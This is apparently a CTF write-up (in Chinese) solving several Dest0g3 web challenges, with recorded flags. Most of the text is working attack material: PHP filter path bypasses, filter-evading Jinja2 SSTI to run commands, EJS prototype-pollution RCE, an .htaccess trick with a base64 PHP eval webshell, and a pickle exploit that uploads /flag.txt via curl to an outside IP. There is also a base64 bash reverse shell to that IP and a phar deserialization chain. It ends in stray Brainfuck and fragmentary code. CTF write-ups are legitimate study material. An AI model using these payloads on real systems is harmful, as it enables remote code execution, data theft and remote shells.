require_once的多次软连接绕过
payload
?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
base后 FLAG:Dest0g3{d46b6581-9b6e-4171-b9ee-d4c97fc9bf54}
EasyPHP数组绕过:ctf[]=1
FLAG:Dest0g3{30b31494-135f-4875-ae5f-488ee925c5bf}
SimpleRCE无参数RCE直接过
payload
POST: aaa=show_source(next(apache_request_headers())); User-Agent: /flag
FLAG:Dest0g3{7be6d1b1-7f43-4480-8f80-38b7bea0848d}
EasySSTI- SSTI
bypass参考:以 Bypass 为中心谭谈 Flask-jinja2 SSTI 的利用 - 先知社区 (aliyun.com)
空格都过滤了,找到之前类似比赛:安恒月赛DASCTF三月娱乐赛,利用过滤器通过config中的字符串构造想要的字符
比如 .
a:通过截取字符串,替换点为空,然后获得想要的a
成功构造 globals
空格用%0d绕过即可,payload:
strs = """{%set poi=config|join|truncate(3)|last%}
{%set xhx=config|join|truncate(28)|replace(poi,tmp)|last%}
{%set a=config|join|truncate(23)|replace(poi,tmp)|last|lower%}
{%set b=config|join|truncate(9)|replace(poi,tmp)|last|lower%}
{%set c=config|join|truncate(31)|replace(poi,tmp)|last|lower%}
{%set d=config|join|truncate(7)|replace(poi,tmp)|last|lower%}
{%set e=config|join|truncate(4)|replace(poi,tmp)|last|lower%}
{%set f=config|join|truncate(98)|replace(poi,tmp)|last|lower%}
{%set g=config|join|truncate(11)|replace(poi,tmp)|last|lower%}
{%set i=config|join|truncate(16)|replace(poi,tmp)|last|lower%}
{%set l=config|join|truncate(96)|replace(poi,tmp)|last|lower%}
{%set m=config|join|truncate(81)|replace(poi,tmp)|last|lower%}
{%set n=config|join|truncate(5)|replace(poi,tmp)|last|lower%}
{%set o=config|join|truncate(21)|replace(poi,tmp)|last|lower%}
{%set p=config|join|truncate(19)|replace(poi,tmp)|last|lower%}
{%set r=config|join|truncate(20)|replace(poi,tmp)|last|lower%}
{%set s=config|join|truncate(14)|replace(poi,tmp)|last|lower%}
{%set t=config|join|truncate(12)|replace(poi,tmp)|last|lower%}
{%set glo=xhx+xhx+g+l+o+b+a+l+s+xhx+xhx%}
{%set cla=xhx+xhx+c+l+a+s+s+xhx+xhx%}
{%set get=g+e+t+i+t+e+m%}
{%set xiegang=lipsum|attr(glo)|string|truncate(390)|list|attr(pp)(-27)%}
{%set blank=lipsum|attr(glo)|string|truncate(390)|list|attr(pp)(-15)%}
{%set shell=lipsum|attr(glo)|attr(p+o+p)(o+s)%}
{{shell|attr(p+o+p+e+n)(c+a+t+blank+xiegang+f+l+a+g)|attr(r+e+a+d)()}}
""".replace('%','%25').replace(' ','%0d').replace('+','%2B')
print(strs)
FLAG:Dest0g3{6355e9f6-ca54-4316-a5da-9d3a122fc8b5}
NodeSoEasy代码
const express = require('express')
const bodyParser = require('body-parser')
const app = express()
const port = 5000
app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())
app.set('view engine', 'ejs');
const merge= (target, source) => {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
app.post('/', function (req, res) {
var target = {}
var source = JSON.parse(JSON.stringify(req.body))
//var source = JSON.parse(req.body)
merge(target, source)
res.render('index');
})
app.listen(port, () => {
console.log(`listening on port ${port}`)
})
很明显的ejs rce,payload
{"__proto__":{"client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('cat /flag');","compileDebug":true}}
FLAG:Dest0g3{5f257a10-431c-4c2c-9526-075cc84568d4}
funny_upload- .htaccess
上传 .htaccess,上传的内容有检测 ,添加 gif 为php解析,利用伪协议进行base64绕过
AddType application/x-httpd-php .gif php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.gif"
上传shell.gif
PD9waHAgZXZhbCgkX1BPU1RbJ3dob2FtaSddKTs/Pg==
详细文章:Web安全|.htaccess的奇淫技巧 - 云+社区 - 腾讯云 (tencent.com)
middle大概一看 pickle 反序列化
import os
import config
from flask import Flask, request, session, render_template, url_for,redirect,make_response
import pickle
import io
import sys
import base64
app = Flask(__name__)
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module in ['config'] and "__" not in name:
return getattr(sys.modules[module], name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))
def restricted_loads(s):
return RestrictedUnpickler(io.BytesIO(s)).load()
@app.route('/')
def show():
base_dir = os.path.dirname(__file__)
resp = make_response(open(os.path.join(base_dir, __file__)).read()+open(os.path.join(base_dir, "config/__init__.py")).read())
resp.headers["Content-type"] = "text/plain;charset=UTF-8"
return resp
@app.route('/home', methods=['POST', 'GET'])
def home():
data=request.form['data']
User = restricted_loads(base64.b64decode(data))
return str(User)
if __name__ == '__main__':
app.run(host='0.0.0.0', debug=True, port=5000)
import os
def backdoor(cmd):
# 这里我也改了一下
if isinstance(cmd,list) :
s=''.join(cmd)
print("!!!!!!!!!!")
s=eval(s)
return s
else:
print("??????")
找到类似题目:巅峰极客2021 what_pickle——一道综合性的python web - 安全客,安全资讯平台 (anquanke.com)
修改一下文章exp即可
import os
import config
import pickle
import sys
import base64
opcode = b'''(cconfig
backdoor
(S'__import__("os").system("curl http://150.158.181.145:3000 -F file=@/flag.txt")'
lo.'''
print(base64.b64encode(opcode))
FLAG:Dest0g3{f17b5918-7e65-485e-ada0-1b34cb0c64bb}
EzSerial登录,随便传一个,发现返回的cookie返回base64
admin/admin登录,看到cookie很像base64的序列化的形式,尝试ysoserial打一个URLDNS
放到cookie
收到回显
接着尝试CC链,但都不行,可能长度进行了限制,缩小payload:4ra1n/ShortPayload
payload
bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzE1MC4xNTguMTgxLjE0NS82MDAwIDA+JjE=}|{base64,-d}|{bash,-i}
接受shell
FLAG:Dest0g3{79c1a2a1-fc15-4da5-a16b-2239d3e9ebe6}
ezip图片有base64 源码
upload.php:
if(strstr($_FILES['file']['name'],"..")||strstr($_FILES['file']['name'],"/")){
echo "hacker!!";
exit;
}
if(pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION)!="zip"){
echo "only zip!!";
exit;
}
$Myzip = new zip($_FILES['file']['name']);
mkdir($Myzip->path);
move_uploaded_file($_FILES['file']['tmp_name'], './'.$Myzip->path.'/' . $_FILES['file']['name']);
echo "Try to unzip your zip to /".$Myzip->path."
";
if($Myzip->unzip()){echo "Success";}else{echo "failed";}
}
zip.php:
public $zip_name;
public $path;
public $zip_manager;
public function __construct($zip_name){
$this->zip_manager = new ZipArchive();
$this->path = $this->gen_path();
$this->zip_name = $zip_name;
}
public function gen_path(){
$chars="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
$newchars=str_split($chars);
shuffle($newchars);
$chars_key=array_rand($newchars,15);
$fnstr = "";
for($i=0;$i<15;$i++){
$fnstr.=$newchars[$chars_key[$i]];
}
return md5($fnstr.time().microtime()*100000);
}
public function deldir($dir) {
//先删除目录下的文件:
$dh = opendir($dir);
while ($file = readdir($dh)) {
if($file != "." && $file!="..") {
$fullpath = $dir."/".$file;
if(!is_dir($fullpath)) {
unlink($fullpath);
} else {
$this->deldir($fullpath);
}
}
}
closedir($dh);
}
function dir_list($directory)
{
$array = [];
$dir = dir($directory);
while ($file = $dir->read()) {
if ($file !== '.' && $file !== '..') {
$array[] = $file;
}
}
return $array;
}
public function unzip()
{
$fullpath = "/var/www/html/".$this->path."/".$this->zip_name;
$white_list = ['jpg','png','gif','bmp'];
$this->zip_manager->open($fullpath);
for ($i = 0;$i < $this->zip_manager->count();$i ++) {
if (strstr($this->zip_manager->getNameIndex($i),"../")){
echo "you bad bad";
return false;
}
}
if(!$this->zip_manager->extractTo($this->path)){
echo "Unzip to /".$this->path."/ failed";
exit;
}
@unlink($fullpath);
$file_list = $this->dir_list("/var/www/html/".$this->path."/");
for($i=0;$i
if(is_dir($this->path."/".$file_list[$i])){
echo "dir? I deleted all things in it"."
";@$this->deldir("/var/www/html/".$this->path."/".$file_list[$i]);@rmdir("/var/www/html/".$this->path."/".$file_list[$i]);
}
else{
if(!in_array(pathinfo($file_list[$i], PATHINFO_EXTENSION),$white_list)) {echo "only image!!! I deleted it for you"."
";@unlink("/var/www/html/".$this->path."/".$file_list[$i]);}
}
}
return true;
}
}
发现使用了 ZipArchive,根据P牛,两个文件 1.php 和 2.txt,压缩为zip,对压缩文件的文件名进行操作可以导致解压失败从而终止解压,然后遗留shell文件getshell,修改其中一个filename为 /
参考:
FLAG:Dest0g3{21f63c65-82d2-49b5-a847-c9a320096ffe}
pharPOP源文件,对类名进行了过滤,可以利用php中类名不区分大小写,例如 Air() 进行绕过
if (is_array($data)){
die("Cannot transfer arrays");
}
if (preg_match('/get|air|tree|apple|banana|filter|base64|rot13|read|data/i', $data)) {
die("You can't do");
}
}
class air{
public $p;
public function __set($p, $value) {
$p = $this->p->act;
echo new $p($value); # 4. 任意类,最终利用点
}
}
class tree{
public $name;
public $act;
public function __destruct() {
return $this->name(); # 1.入口 触发call
}
public function __call($name, $arg){
$arg[1] =$this->name->$name; # 2. 触发 apple的get
}
}
class apple {
public $xxx;
public $flag;
public function __get($flag)
{
$this->xxx->$flag = $this->flag; # 3.触发 air的set方法
}
}
class D {
public $start;
public function __destruct(){
$data = $_POST[0];
if ($this->start == 'w') {
waf($data);
$filename = "D:/phpstudy_pro/WWW/test/tmp/".md5(rand()).".jpg"; # 写 phar文件
file_put_contents($filename, $data);
echo $filename;
} else if ($this->start == 'r') {
waf($data);
$f = file_get_contents($data); # 触发phar文件
if($f){
echo "It is file";
}
else{
echo "You can look at the others";
}
}
}
}
class banana {
public function __get($name){
return $this->$name;
}
}
// flag in /
$tmp = $_POST[1];
if(strlen($_POST[1]) < 55) {
$a = unserialize($_POST[1]);
}
else{
echo "str too long";
}
throw new Error("start");
?>
考点挺多的,首先审计挖掘链子利用原生类,并生成phar文件
public $p;
}
class Tree{
public $name;
public $act;
}
class Apple {
public $xxx;
public $flag;
}
@unlink('test.phar');
@unlink('test2.phar');
@unlink('phar.zip');
// flag in /
$tree = new Tree();
$tree->name = new Apple();
$tree->name->xxx = new Air();
$tree->name->flag = "/fflaggg";
#$tree->name->flag = "glob://
}
+++++ ++[-> +++++ ++<]> +++.. ++.-. ++.-- --.++ ++.--
-.-.- --.++ ++++.
+.--- -..++ ++.<+ ++[-> +++<] >++.< +++[-
>---< ]>--- ---.+ ++++. -----
.+++. ...-- ---.+ ++++. ---.+ ++.-- ---.+ ++++. ---.. +++++ +.--- ----.
<++++ [->++ ++<]> ++.<+ +++[- >---- <]>-. ---.+
+++++ .---- -.++. ++.+.
--.-- .<+++ +[->+ +++<] >++.< ++++[ ->--- -<]>-
.+.-. ---.+ ++.+. -.+++
+.--- --.<+ +++[- >++++ <]>++ .<+++ [->-- -<]>- ----. ----. +.+++ +.---
-.--- .+++. -..<+ +++[- >++++ <]>++
.<+++ +[->- ---<] >-.++ +++.- ----.
+++.. ---.+ ++.-- --.+. ..+++ +.-.- ----. +++++
.---- .+.++ ++.-- --.++
++.-. ----. +.-.+ ++++.
<+++[ ->+++ <]>++ ++.<


